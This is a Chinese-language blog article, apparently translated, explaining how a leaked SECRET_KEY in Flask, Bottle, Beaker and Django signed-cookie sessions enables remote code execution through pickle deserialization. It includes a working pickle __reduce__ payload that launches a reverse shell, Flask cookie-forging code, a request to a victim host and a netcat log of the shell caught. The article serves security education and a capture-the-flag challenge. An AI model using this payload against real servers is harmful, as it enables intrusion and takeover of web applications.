對(duì)于Python的框架中一些會(huì)話程序的管理
Django, Bottle, Flask,等所有的python web框架都需要配置一個(gè)SECRET_KEY。文檔通常推薦我們使用隨機(jī)的值,但我很難發(fā)現(xiàn)他有任何文字說(shuō)明,因?yàn)檫@樣容易被破解(本地攻擊或者文本閱讀在web app中更容易受攻擊)。攻擊者可以使用SECRET_KEY偽造cookies,csrf token然后使用管理員工具。不過(guò)這很難做到,不過(guò)他可以搞一些小破壞,比如執(zhí)行惡意代碼。這也是我下面將要介紹的。
記得以前使用PHP找到一個(gè)可以讀服務(wù)器上任意文件的bug(不包含本地文件),你將會(huì)被迫選擇遠(yuǎn)程執(zhí)行代碼(RCE)。你就需要審查大部分的app資源文件來(lái)找到其他的bugs或者有用的信息(比如說(shuō)用戶密碼,或者數(shù)據(jù)庫(kù)信息等)。在這個(gè)情況下,我們能說(shuō)PHP是更安全的嗎?
在攻擊一個(gè)Python網(wǎng)站框架的時(shí)候,知道你設(shè)置的SECRET_KEY字段的攻擊者,能夠簡(jiǎn)單的將LFR攻擊升級(jí)到RCE攻擊。我(作者)是從攻擊一系列的網(wǎng)站框架之后得出如上結(jié)論的。在這些網(wǎng)站框架中,都有雷同的,使用Pickle作為將經(jīng)過(guò)簽名的Cookie序列化的方式。
在Flask框架中,F(xiàn)lask在config['SECRET_KEY']被賦予某個(gè)值,session_cookie_name(default='session')存在于cookie中的時(shí)候,將Cookie反序列化,甚至在沒(méi)有session的情況下。(這樣多么好,攻擊者可以僅僅通過(guò)向config file添加SECRET_KEY的方式制造后門(mén),并且,天真的用戶將認(rèn)為這非常'重要')
從 werkzeug library 里面提取出來(lái)的反序列方法是這樣的:
def unserialize(cls, string, secret_key): if isinstance(string, unicode): string = string.encode('utf-8', 'replace') try: base64_hash, data = string.split('?', 1) except (ValueError, IndexError): items = () else: items = {} mac = hmac(secret_key, None, cls.hash_method) # -- snip --- try: client_hash = base64_hash.decode('base64') except Exception: items = client_hash = None if items is not None and safe_str_cmp(client_hash, mac.digest()): try: for key, value in items.iteritems(): items[key] = cls.unquote(value) except UnquoteError: # -- snip -- else: items = () return cls(items, secret_key, False)
反序列方法檢查簽名,然后在簽名正確的情況下unquote()cookie的值。unquote()方法看起來(lái)非常無(wú)辜,但是事實(shí)上,這是一個(gè)默認(rèn)的pickle.
#: the module used for serialization. Unless overriden by subclasses #: the standard pickle module is used. serialization_method = pickle def unquote(cls, value): # -- snip -- if cls.quote_base64: value = value.decode('base64') if cls.serialization_method is not None: value = cls.serialization_method.loads(value) return value # -- snip --
Bottle: 在默認(rèn)的bottle設(shè)定中時(shí)沒(méi)有真正的secret key的,但是也許有人想要用signed cookie的功能來(lái)加密他自己的cookie.
讓我們來(lái)看看代碼是怎么樣的:
def get_cookie(self, key, default=None, secret=None): value = self.cookies.get(key) if secret and value: dec = cookie_decode(value, secret) # (key, value) tuple or None return dec[1] if dec and dec[0] == key else default return value or default
當(dāng)這個(gè)密鑰被展現(xiàn)出來(lái)的時(shí)候,并且在cookie中還有其他數(shù)值的時(shí)候,cookie_decode 方法被調(diào)用:
def cookie_decode(data, key): data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): return pickle.loads(base64.b64decode(msg)) return None
再次,我們看到了Pickle !
Beaker 的session:(任何服務(wù)都可以在session上使用beaker的中間件,bottle框架甚至推薦這么做) Beaker.Session 具有很多功能,并且這可能被混淆: 這里面有三個(gè)密鑰 secret_key, validate_key, encrypted_key)
encrypt_key: 加密cookie信息,然后要么向客戶端發(fā)送(session.type="cookie"/Cookie mode),要么在(session.type="file"/File mode)中儲(chǔ)存。如果沒(méi)有設(shè)定encrypt_key,那么cookie不會(huì)被加密,只會(huì)被base64編碼。當(dāng)有encrypt_key的時(shí)候,cookie會(huì)被用encrypted_key, validate_key(可選)和一個(gè)隨機(jī)值用AES方法加密。
validate_key: 用來(lái)給加密的cookie簽名
secret:在用File mode時(shí)候給cookie簽名(我不知道為什么他們不就用一個(gè)validate_key就好了!)
當(dāng)然,當(dāng)有人對(duì)文件擁有讀的權(quán)限的時(shí)候,他/她理所當(dāng)然知道所有的字段。然而,F(xiàn)ile mode使得攻擊不得能因?yàn)槲覀儗?duì)已經(jīng)序列化的數(shù)據(jù)并沒(méi)有控制權(quán),例如,當(dāng)這些數(shù)據(jù)儲(chǔ)存在本地硬盤(pán)上的時(shí)候。在Cookie mode,攻擊就能夠成立,即便cookie被編碼了(因?yàn)槲覀冎涝趺磂ncrypt,哈哈)。你也許會(huì)問(wèn),那個(gè)隨機(jī)參數(shù)是不可知的,你們沒(méi)辦法攻擊,幸運(yùn)的是這個(gè)隨機(jī)參數(shù)也是cookie存數(shù)的session數(shù)據(jù)的一部分,因此,我們可以將其替代為任何我們需要的值。
下面是他們構(gòu)造session數(shù)據(jù)的代碼
def _encrypt_data(self, session_data=None): """Serialize, encipher, and base64 the session dict""" session_data = session_data or self.copy() if self.encrypt_key: nonce = b64encode(os.urandom(6))[:8] encrypt_key = crypto.generateCryptoKeys(self.encrypt_key, self.validate_key + nonce, 1) data = util.pickle.dumps(session_data, 2) return nonce + b64encode(crypto.aesEncrypt(data, encrypt_key)) else: data = util.pickle.dumps(session_data, 2) return b64encode(data)
我們明顯的看到這些數(shù)據(jù)的處理存在風(fēng)險(xiǎn)。
Django: 最知名也是在Python語(yǔ)言中最復(fù)雜的一個(gè)服務(wù)器框架。而且,沒(méi)錯(cuò),Django的開(kāi)發(fā)者們?cè)贑ookie Session上放置了一個(gè)蠻不錯(cuò)的警告。以我之鄙見(jiàn),這個(gè)警告不夠,而應(yīng)該被替換成'致命'或者是',并且標(biāo)上紅色。
Django的Session是咋么工作的呢?我們能夠從Django的文檔中輕易的找到可閱讀的答案:總而言之,Django給了session 3個(gè)可以設(shè)定的項(xiàng)目:db,file以及signed_cookie。再一次,我們只對(duì)signed_cookie產(chǎn)生興趣,因?yàn)槲覀兛梢暂p松的改變它。如果SESSION_ENGINE被設(shè)定為“django.contrib.sessions.backends.signed_cookies“,我們就確定signed_cookie是背用于session的管理。
有趣的是,如果我們?cè)趓equest cookie里面構(gòu)造一個(gè)sessionid,它總是會(huì)被反序列化。Django也給了我們一個(gè)cookie是如何被簽名的好實(shí)例。這讓我們的工作輕松多了。
我們的攻擊
我們還沒(méi)有討論我們?nèi)绾喂簦ㄓ行┠憧赡芤呀?jīng)知道了)!感謝您的耐心看到最后,我寫(xiě)它在最后是因?yàn)楣羰侄纬錆M共性,而且簡(jiǎn)單(是的,原則性的知識(shí))。
在這里,我們可以讀取任何文件。要找到Python應(yīng)用程序的配置文件并不難,因?yàn)榈教幱袑?dǎo)入(import)。當(dāng)我們獲得的密鑰時(shí),我們可以簡(jiǎn)單的實(shí)現(xiàn)(或重復(fù)使用)簽署web框架的cookie,并使用我們的惡意代碼。 因?yàn)樗鼈兪褂玫氖莗ickle.loads()反序列化的時(shí)候,我們的使用pickle.dumps()保存惡意代碼。
piclke.dump()和loads()通常在處理整數(shù),字符串,數(shù)列,哈希,字典類型的時(shí)候是安全的....但是他在處理一些惡意構(gòu)造的數(shù)據(jù)類型的時(shí)候就不安全了!事實(shí)上,攻擊者可以通過(guò)構(gòu)造的數(shù)據(jù)類型來(lái)達(dá)到執(zhí)行任意Python代碼的目的。我寫(xiě)了一段不錯(cuò)的小程序來(lái)吧Python代碼轉(zhuǎn)換成Pickle序列化的對(duì)象。我們應(yīng)該從connback.py開(kāi)始閱讀(這實(shí)際上是一個(gè)反向鏈接的shell),然后我們將誘使對(duì)方網(wǎng)站來(lái)用Pickle方法將其序列化。如果有人執(zhí)行了pickle.loads(payload),那么我們的反向鏈接shell就會(huì)被激活。
code = b64(open('connback.py').read()) class ex(object): def __reduce__(self): return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) ) payload = pickle.dumps(ex())
現(xiàn)在我們簽名(適用于flask web框架):
def send_flask(key, payload): data = 'id='+b64(payload) mac = b64(hmac(key, '|'+data, hashlib.sha1).digest()) s = '%(sig)s?%(data)s' % {'sig':mac, 'data':data}
然后發(fā)送
print requests.get('http://victim/', cookies={'session':s})
在另外一個(gè)終端里:
danghvu@thebeast:~$ nc -lvvv 1337 Connection from x.x.x.x port 1337 [tcp/*] accepted !P0Wn! Congratulation !! sh: no job control in this shell sh-4.1$
還有啥?
-所以怎樣?只要你不知道我的secret_key我就是安全的!可以啊,你可以這樣....但是和宣稱:"我把我的鑰匙放在房頂上,我知道你爬不上來(lái)..."沒(méi)啥區(qū)別。
-好的, 所以如果我不用這種session cookie,我就安全了!沒(méi)錯(cuò),在小型的web app上,將session 儲(chǔ)存在文件里面更安全(如果放在DB里面,我們還面臨SQL Injection的危險(xiǎn))。但是如果是大型web app,然后你有個(gè)分布式的存儲(chǔ)方式,這將導(dǎo)致嚴(yán)重的效率問(wèn)題。
-那咋辦?也許我們應(yīng)該讓那些web框架不要用piclke來(lái)序列化?我不知道是否存在這種框架,如果有的話就好了。PHP更安全嗎?事實(shí)上不是如此
最后:
Web.Py,當(dāng)我查看他們的web session文檔的時(shí)候我發(fā)現(xiàn):CookieHandler – DANGEROUS, UNSECURE, EXPERIMENTAL
所以,干得好:D ,也許所有人都應(yīng)該這樣做。你們應(yīng)該去試試web.py和其他框架。
我做了這些,如果你想要讓它奏效你也可以花點(diǎn)時(shí)間上去。
作為一個(gè)禮物,這個(gè)網(wǎng)站是有這個(gè)漏洞的,讓我們看看你們是不是能夠把lfr bug升級(jí)成為一個(gè)rce,然后你們會(huì)找到真正的禮物:一個(gè)flag...
更新:有漏洞的網(wǎng)站的源碼放在github上了,它的secret_key已經(jīng)不一樣了。
- 在Python中使用mechanize模塊模擬瀏覽器功能
- Python模擬鼠標(biāo)點(diǎn)擊實(shí)現(xiàn)方法(將通過(guò)實(shí)例自動(dòng)化模擬在360瀏覽器中自動(dòng)搜索python)
- Python使用win32com實(shí)現(xiàn)的模擬瀏覽器功能示例
- 淺談python爬蟲(chóng)使用Selenium模擬瀏覽器行為
- Python使用Selenium模塊實(shí)現(xiàn)模擬瀏覽器抓取淘寶商品美食信息功能示例
- Python使用Selenium模塊模擬瀏覽器抓取斗魚(yú)直播間信息示例
- Python ORM框架SQLAlchemy學(xué)習(xí)筆記之映射類使用實(shí)例和Session會(huì)話介紹
- 用Python中的wxPython實(shí)現(xiàn)最基本的瀏覽器功能
- python3實(shí)現(xiàn)讀取chrome瀏覽器cookie
- 詳解Python多線程Selenium跨瀏覽器測(cè)試
- Python實(shí)現(xiàn)模擬瀏覽器請(qǐng)求及會(huì)話保持操作示例
相關(guān)文章
Django利用elasticsearch(搜索引擎)實(shí)現(xiàn)搜索功能
這篇文章主要介紹了Django利用elasticsearch(搜索引擎)實(shí)現(xiàn)搜索功能,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-11-11python進(jìn)階教程之函數(shù)參數(shù)的多種傳遞方法
這篇文章主要介紹了python進(jìn)階教程之函數(shù)參數(shù)的多種傳遞方法,包括關(guān)鍵字傳遞、默認(rèn)值傳遞、包裹位置傳遞、包裹關(guān)鍵字混合傳遞等,需要的朋友可以參考下2014-08-08使用 Python 獲取 Linux 系統(tǒng)信息的代碼
在本文中,我們將會(huì)探索使用Python編程語(yǔ)言工具來(lái)檢索Linux系統(tǒng)各種信息,需要的朋友可以參考下2014-07-07對(duì)python opencv 添加文字 cv2.putText 的各參數(shù)介紹
今天小編就為大家分享一篇對(duì)python opencv 添加文字 cv2.putText 的各參數(shù)介紹,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2018-12-12YOLOv5以txt或json格式輸出預(yù)測(cè)結(jié)果的方法詳解
這篇文章主要給大家介紹了關(guān)于YOLOv5以txt或json格式輸出預(yù)測(cè)結(jié)果的相關(guān)資料,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2023-03-03淺談對(duì)python中if、elif、else的誤解
這篇文章主要介紹了淺談對(duì)python中if、elif、else的誤解,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2020-08-08在Python中調(diào)用Ping命令,批量IP的方法
今天小編就為大家分享一篇在Python中調(diào)用Ping命令,批量IP的方法,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2019-01-01Python面向?qū)ο蠖鄳B(tài)實(shí)現(xiàn)原理及代碼實(shí)例
這篇文章主要介紹了Python面向?qū)ο蠖鄳B(tài)實(shí)現(xiàn)原理及代碼實(shí)例,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-09-09Python上下文管理器類和上下文管理器裝飾器contextmanager用法實(shí)例分析
這篇文章主要介紹了Python上下文管理器類和上下文管理器裝飾器contextmanager用法,結(jié)合實(shí)例形式分析了上下文管理器類定義、使用、sqlalchemy實(shí)現(xiàn)數(shù)據(jù)庫(kù)的自動(dòng)提交和回滾相關(guān)操作技巧,需要的朋友可以參考下2019-11-11